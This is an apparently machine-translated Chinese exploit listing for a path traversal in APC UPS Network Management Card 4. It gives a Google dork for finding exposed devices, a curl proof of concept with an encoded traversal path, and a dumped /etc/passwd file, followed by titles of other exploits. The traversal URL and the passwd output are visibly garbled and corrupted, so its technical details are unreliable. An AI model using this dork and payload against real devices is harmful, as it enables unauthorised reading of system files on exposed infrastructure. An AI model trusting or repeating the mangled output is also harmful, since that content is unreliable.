UPS网络管理卡4-路径遍历

[HackApt-37 Team已验证会员]

＃利用标题: UPS网络管理卡4-路径遍历
＃Google Dork: inurl:nmc inurl:logon.htm
＃日期: 2023-12-19
＃利用作者:víctorGarcía
＃供应商homepage: https://www.apc.com/
＃版本: 4
＃在: Kali Linux上测试
＃CVE: N/A。
＃POC:
卷发-K
https://10.10.10.10/％2E％2E％2F％2E％2E...E％2E％2E％2E％2F％2F％2E％2E％2E％2E％2E％2E％2E％2E％2E％2 e％2E％2 e％2 e％2 e二2 fef
root:x3:033333:root:/home/home/root:/bin/sh
DAEMON:X3:1:13360DAEMON:/USR/SBIN:/bin/sh
BIN:X3:233333333333333:/bin:/bin/sh
SYS:X3333333333333:SYS:/dev:/bin/sh
Sync:x3:4:65343:Sync:/bin3:/bin/sync
Games:x3:5:60603360games:/usr/gashs:/bin/sh
MAN:X3:6:123360MAN3:/var/cache/man:/bin/sh
LP:X333333333333:LP:/var/spool/lpd:/bin/sh
Mail:x3:8:83360mail:/var/mail:/bin/sh
news:x:9:93360news:/var/spool/news:/bin/sh
Uucp:x:10333333:uucp:/var/spool/uucp:/bin/sh
PROXY:X33333333333333ROXY:/BIN3:/bin/sh
www-data:x333333333333333333:wwwwwww-data:/var/var/www3:/bin/sh
Backup:x3:33333333:backup:/var/backups:/bin/sh
List:x33333333333333:Mailing List Manager:/var/list:/bin/sh
IRC3:x333339333339333333333:/var/run/run/ircd:/bin/sh
GNATS:X33:413:41:GNATS错误报告系统（Admin）:/var/lib/lib/gnats:/bin/sh/sh
DHCP:X33333333333:9973:/var/run/run/dhcp:/bin/false
MessageBus:x33:983:99833333333333:/var/lib/dbus:/bin/false
Mosquitto3:x3:9999999999999933333:/home/home/squitto3:/bin/false
NOONOY:X33:653333333333333343:NOBODY:/none existent:/bin/sh

 

H

VM2-沙盒逃生

H

诺基亚BMC日志扫描仪- 远程代码执行